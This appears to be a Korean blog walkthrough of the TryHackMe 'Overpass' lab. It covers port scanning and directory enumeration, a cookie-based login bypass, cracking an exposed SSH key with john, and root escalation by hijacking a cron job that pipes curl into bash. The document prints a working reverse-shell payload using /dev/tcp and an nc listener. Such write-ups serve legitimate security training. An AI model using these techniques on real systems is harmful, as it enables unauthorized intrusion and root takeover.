Port Scan
➜ overpass sudo nmap -sC -oA nmap/initial 10.10.218.230
Password:
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-14 01:48 KST
Nmap scan report for 10.10.218.230
Host is up (0.26s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
| ssh-hostkey:
| 2048 37968598d1009c1463d9b03475b1f957 (RSA)
| 256 5375fac065daddb1e8dd40b8f6823924 (ECDSA)
|_ 256 1c4ada1f36546da6c61700272e67759c (ED25519)
80/tcp open http
|_http-title: Overpass
Nmap done: 1 IP address (1 host up) scanned in 18.91 seconds
포트 스캔 결과 22, 80 port가 확인됩니다. Nmap으로는 유용한 정보는 보이지 않습니다. 80 port가 노출되었으니 일단 Web을 통해 정보를 얻어봅시다.
Web Enumeration
gobsuter로 Brute force를 시도하면 admin 페이지로 접근 가능하다는 힌트를 얻을 수 있습니다.
╰─$ gobuster dir -w ./directory-list-2.3-big.txt --url http://10.10.218.230/ -t 12 1 ↵
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.218.230/
[+] Method: GET
[+] Threads: 12
[+] Wordlist: ./directory-list-2.3-big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.3
[+] Timeout: 10s
===============================================================
2022/11/14 01:43:01 Starting gobuster in directory enumeration mode
===============================================================
/img (Status: 301) [Size: 0] [--> img/]
/downloads (Status: 301) [Size: 0] [--> downloads/]
/aboutus (Status: 301) [Size: 0] [--> aboutus/]
/admin (Status: 301) [Size: 42] [--> /admin/]
/css (Status: 301) [Size: 0] [--> css/]
admin 페이지로 접근했을 때 ID와 Password를 입력받을 수 있는 화면이 생기는데 이 떄 F12를 눌러 Network Inpsection을 보게되면 login.js라는 파일을 요청하는 걸 확인할 수 있습니다. 이 파일을 열어보면 다음과 같은 소스를 읽어들일 수 있습니다.
# logins.js
...
const statusOrCookie = await response.text()
if (statusOrCookie === "Incorrect credentials") {
loginStatus.textContent = "Incorrect Credentials"
passwordBox.value=""
} else {
Cookies.set("SessionToken",statusOrCookie)
window.location = "/admin"
...
statusOrCookie라는 변수가 "Incorrect credentials"이라는 문자열이면 로그인 실패 처리로 보이고 else 구문에는 쿠키값을 세팅하는 처리를 하고 있는 것 같습니다. 의도를 생각해보니 statusOrCookie 문자열을 비교하여 로그인 여부를 비교하는 것 같습니다. 해석한대로 쿠키를 세팅하고 리다이렉트 하게되면 다음과 같은 개인키가 노출됩니다.
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,9F85D92F34F42626F13A7493AB48F337
LNu5wQBBz7pKZ3cc4TWlxIUuD/opJi1DVpPa06pwiHHhe8Zjw3/v+xnmtS3O+qiN
...
2cWk/Mln7+OhAApAvDBKVM7/LGR9/sVPceEos6HTfBXbmsiV+eoFzUtujtymv8U7
-----END RSA PRIVATE KEY-----
John The Ripper Crack
위에서 얻은 개인키를 다음과 같은 순서로 크랙해줍시다.
$ ssh2john.py id_pri.pem > hash.txt
$ john --wordlist=rockyou.txt hash.txt
Warning: detected hash type "SSH", but the string is also recognized as "ssh-opencl"
Use the "--format=ssh-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
james13 (overpass_pri.pem)
1g 0:00:00:00 DONE (2022-11-14 02:53) 100.0g/s 1336Kp/s 1336Kc/s 1336KC/s james13
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
ssh 접근에 필요한 정보를 얻었으니 이제 ssh로 접속해봅시다.
ssh -i overpass.pem James@10.10.218.230
위에서 얻은 비밀번호인 james13을 입력하면 James라는 계정으로 ssh 로그인이 가능합니다.
Priviliege Escalate
획득한 pem키와 pem의 비밀번호를 이용해 ssh로 접속해 root 권한을 얻기 위해 leapeas.sh를 이용해 system 내의 정보를 enumeration하면 다음고 같은 정보를 얻을 수 있습니다.
╔══════════╣ Hostname, hosts and DNS
overpass-prod
127.0.0.1 localhost
127.0.1.1 overpass-prod
127.0.0.1 overpass.thm
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
nameserver 127.0.0.53
options edns0
search eu-west-1.compute.internal
...
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * * root curl overpass.thm/downloads/src/buildscript.sh | bash
...
root 권한으로 overpass.thm./downloads/src/buildscript.sh 에 curl 요청을 cron을 이용하여 시도하고 있습니다. overpass.thn은 /etc/hosts에 기술되어있는 ip주소로 요청을 보내고 있는데 /etc/hosts의 overpass.thm 부분을 자신의 IP로 변경하여 요청을 날리게 하면 root 권한을 얻을 수 있을 것 같습니다. buildscript.sh에 다음과 같이 작성해줍시다.
# buildscript.sh
bash -i >& /dev/tcp/10.8.15.176/8080 0>&1
이어서 로컬에서 download/src/buildscript.sh 로 경로를 맞춰주고 nc -l 8080으로 대기하면 root 권한을 획득할 수 있습니다.
'Pentest > TryHackMe' 카테고리의 다른 글
[Try Hack Me] : Lazy Admin (0) | 2020.09.28 |
---|---|
[Try Hack Me] : RootMe (0) | 2020.09.28 |
[Try Hack Me] : Basic Pentesting (0) | 2020.09.28 |
[Try Hack Me] : Blue (0) | 2020.09.28 |
[Try Hack Me] LFI Inclusion (0) | 2020.09.28 |